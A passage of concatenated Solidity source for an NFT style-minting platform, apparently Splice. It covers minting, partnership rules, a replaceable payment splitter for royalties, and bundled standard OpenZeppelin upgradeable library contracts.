address(originCollections[i]) <= address(originCollections[i - 1]) ) { revert BadMintInput('duplicate or unordered origin input'); } } if (partnershipIsActive) { if ( ArrayLib.contains( partnership.collections, address(originCollections[i]) ) ) { partner_count++; } } } if (partnershipIsActive) { //this saves a very slight amount of gas compared to && if (partnership.exclusive) { if (partner_count != originCollections.length) { revert OriginNotAllowed('exclusive partnership'); } } } return true; } function isFrozen(uint32 styleTokenId) public view returns (bool) { return styleSettings[styleTokenId].isFrozen; } /** * @notice freezing a fully minted style means to disable its sale and set its splice's baseUrl to a fixed IPFS CID. That IPFS directory must contain all metadata for the splices. * @param cid an IPFS content hash */ function freeze(uint32 styleTokenId, string memory cid) public onlyStyleMinter { if (bytes(cid).length < 46) { revert InvalidCID(); } //@todo: this might be unnecessarily strict if (mintsLeft(styleTokenId) != 0) { revert CantFreezeAnUncompleteCollection(mintsLeft(styleTokenId)); } styleSettings[styleTokenId].salesIsActive = false; styleSettings[styleTokenId].styleCID = cid; styleSettings[styleTokenId].isFrozen = true; emit PermanentURI(tokenURI(styleTokenId), styleTokenId); } /** * @dev only called by Splice. Increments the amount of minted splices. * @return the new highest amount. Used as incremental part of the splice token id */ function incrementMintedPerStyle(uint32 styleTokenId) public onlySplice returns (uint32) { if (!isSaleActive(styleTokenId)) { revert SaleNotActive(styleTokenId); } if (mintsLeft(styleTokenId) == 0) { revert StyleIsFullyMinted(); } styleSettings[styleTokenId].mintedOfStyle += 1; styleSettings[styleTokenId].priceStrategy.onMinted(styleTokenId); return styleSettings[styleTokenId].mintedOfStyle; } /** * @notice collection partnerships have an effect on minting availability. They restrict styles to be minted only on certain collections. Partner collections receive a share of the platform fee. * @param until after this timestamp the partnership is not in effect anymore. Set to a very high value to add a collection constraint to a style. * @param exclusive a non-exclusive partnership allows other origins to mint. When trying to mint on an exclusive partnership with an unsupported input, it will fail. */ function enablePartnership( address[] memory collections, uint32 styleTokenId, uint64 until, bool exclusive ) external onlyStyleMinter { require( styleSettings[styleTokenId].mintedOfStyle == 0, 'cant add a partnership after minting started' ); _partnerships[styleTokenId] = Partnership({ collections: collections, until: until, exclusive: exclusive }); } function setupPaymentSplitter( uint256 styleTokenId, address artist, address partner ) internal returns (address ps) { address[] memory members; uint256[] memory shares; if (partner != address(0)) { members = new address[](3); shares = new uint256[](3); uint256 splitShare = (10_000 - ARTIST_SHARE) / 2; members[0] = artist; shares[0] = ARTIST_SHARE; members[1] = spliceNFT.platformBeneficiary(); shares[1] = splitShare; members[2] = partner; shares[2] = splitShare; } else { members = new address[](2); shares = new uint256[](2); members[0] = artist; shares[0] = ARTIST_SHARE; members[1] = spliceNFT.platformBeneficiary(); shares[1] = 10_000 - ARTIST_SHARE; } ps = paymentSplitterController.createSplit(styleTokenId, members, shares); } /** * @notice creates a new style NFT * @param cap_ how many splices can be minted of this style * @param metadataCID_ an IPFS CID pointing to the style metadata. Must be a directory, containing a metadata.json file. * @param priceStrategy_ address of an ISplicePriceStrategy instance that's configured to return fee quotes for the new style (e.g. static) * @param salesIsActive_ splices of this style can be minted once this method is finished (careful: some other methods will only run when no splices have ever been minted) * @param maxInputs_ how many origin inputs are allowed for a mint (e.g. 2 NFT collections) * @param artist_ the first owner of that style. If 0 the minter is the first owner. * @param partnershipBeneficiary_ an address that gets 50% of platform shares. Can be 0 */ function mint( uint32 cap_, string memory metadataCID_, ISplicePriceStrategy priceStrategy_, bool salesIsActive_, uint8 maxInputs_, address artist_, address partnershipBeneficiary_ ) external onlyStyleMinter returns (uint32 styleTokenId) { //CHECKS if (bytes(metadataCID_).length < 46) { revert InvalidCID(); } if (artist_ == address(0)) { artist_ = msg.sender; } //EFFECTS _styleTokenIds.increment(); styleTokenId = _styleTokenIds.current().toUint32(); styleSettings[styleTokenId] = StyleSettings({ mintedOfStyle: 0, cap: cap_, priceStrategy: priceStrategy_, salesIsActive: salesIsActive_, isFrozen: false, styleCID: metadataCID_, maxInputs: maxInputs_, paymentSplitter: setupPaymentSplitter( styleTokenId, artist_, partnershipBeneficiary_ ) }); //INTERACTIONS _safeMint(artist_, styleTokenId); emit Minted(styleTokenId, cap_, metadataCID_); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from != address(0) && to != address(0)) { //its not a mint or a burn but a real transfer paymentSplitterController.replaceShareholder(tokenId, payable(from), to); } } } // contracts/ReplaceablePaymentSplitter.sol // SPDX-License-Identifier: MIT /* LCL SSL CSL SSL LCI ISL LCL ISL CI ISL PEE EEL EES LEEL IEE EEI PEE EES LEEL EES PEE EEL EES LEEL IEE EEI PEE EES LEEL EES PEE EEL EES LEEL IEE LL PEE EES LEEL LL PEE EEL EES LEEL IEE PEE EES LEEL PEE EEL EES LEEL IEE PEE EES LEEL LLL PEE LL EES LEEL IEE IPL PEE LLL LEEL EES LLL PEE EES SSL IEE PEC PEE LLL LEEL EES SEE PEE EES IEE PEC PEE EES LEEL LLL SEE PEE EES IEE PEC PEE EES LEEL SEE PEE EES IEE PEC PEE EES LEEL LL SEE PEE EES IEE PEC PEE EES LEEL EES SEE PEE EES IEE PEC PEE EES LEEL EES LSI LSI LCL LSS ISL LSI ISL LSS ISL */ pragma solidity 0.8.10; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import '@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol'; import '@openzeppelin/contracts/utils/Context.sol'; import '@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol'; import '@openzeppelin/contracts/proxy/Clones.sol'; import './SpliceStyleNFT.sol'; /** * @notice this is an initializeable OZ PaymentSplitter with an additional replace function to * update the payees when the owner of the underlying royalty bearing asset has * changed. Cannot extend PaymentSplitter because its members are private. */ contract ReplaceablePaymentSplitter is Context, Initializable { event PayeeAdded(address indexed account, uint256 shares); event PayeeReplaced( address indexed old, address indexed new_, uint256 shares ); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; address private _controller; modifier onlyController() { require(msg.sender == address(_controller), 'only callable by controller'); _; } function initialize( address controller, address[] memory payees_, uint256[] memory shares_ ) external payable initializer { require(controller != address(0), 'controller mustnt be 0'); _controller = controller; uint256 len = payees_.length; uint256 __totalShares = _totalShares; for (uint256 i = 0; i < len; i++) { _addPayee(payees_[i], shares_[i]); __totalShares += shares_[i]; } _totalShares = __totalShares; } receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) external virtual { require(_shares[account] > 0, 'PaymentSplitter: account has no shares'); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment( account, totalReceived, released(account) ); require(payment != 0, 'PaymentSplitter: account is not due payment'); _released[account] += payment; _totalReleased += payment; AddressUpgradeable.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) external virtual { require(_shares[account] > 0, 'PaymentSplitter: account has no shares'); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment( account, totalReceived, released(token, account) ); require(payment != 0, 'PaymentSplitter: account is not due payment'); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require( account != address(0), 'PaymentSplitter: account is the zero address' ); require(shares_ > 0, 'PaymentSplitter: shares are 0'); require( _shares[account] == 0, 'PaymentSplitter: account already has shares' ); _payees.push(account); _shares[account] = shares_; emit PayeeAdded(account, shares_); } /** * @dev the new_ payee will receive splits at the same rate as _old did before. * all pending payouts of _old can be withdrawn by _new. */ function replacePayee(address old, address new_) external onlyController { uint256 oldShares = _shares[old]; require(oldShares > 0, 'PaymentSplitter: old account has no shares'); require( new_ != address(0), 'PaymentSplitter: new account is the zero address' ); require( _shares[new_] == 0, 'PaymentSplitter: new account already has shares' ); uint256 idx = 0; while (idx < _payees.length) { if (_payees[idx] == old) { _payees[idx] = new_; _shares[old] = 0; _shares[new_] = oldShares; _released[new_] = _released[old]; emit PayeeReplaced(old, new_, oldShares); return; } idx++; } } function due(address account) external view returns (uint256 pending) { uint256 totalReceived = address(this).balance + totalReleased(); return _pendingPayment(account, totalReceived, released(account)); } function due(IERC20 token, address account) external view returns (uint256 pending) { uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); return _pendingPayment(account, totalReceived, released(token, account)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // contracts/ISplicePriceStrategy.sol // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import './Structs.sol'; import './SpliceStyleNFT.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; /** * this is a powerful interface to allow non linear pricing. * You could e.g. invent a strategy that increases a base price * according to how many items already have been minted. * or it could decrease the minting fee depending on when * the last style mint has happened, etc. */ interface ISplicePriceStrategy { function quote( uint256 styleTokenId, IERC721[] memory collections, uint256[] memory tokenIds ) external view returns (uint256); function onMinted(uint256 styleTokenId) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "./IERC721EnumerableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable { function __ERC721Enumerable_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Enumerable_init_unchained(); } function __ERC721Enumerable_init_unchained() internal onlyInitializing { } // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721Upgradeable.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } uint256[46] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeCast.sol) pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCastUpgradeable { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProofUpgradeable { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // contracts/PaymentSplitterController.sol // SPDX-License-Identifier: MIT /* LCL SSL CSL SSL LCI ISL LCL ISL CI ISL PEE EEL EES LEEL IEE EEI PEE EES LEEL EES PEE EEL EES LEEL IEE EEI PEE EES LEEL EES PEE EEL EES LEEL IEE LL PEE EES LEEL LL PEE EEL EES LEEL IEE PEE EES LEEL PEE EEL EES LEEL IEE PEE EES LEEL LLL PEE LL EES LEEL IEE IPL PEE 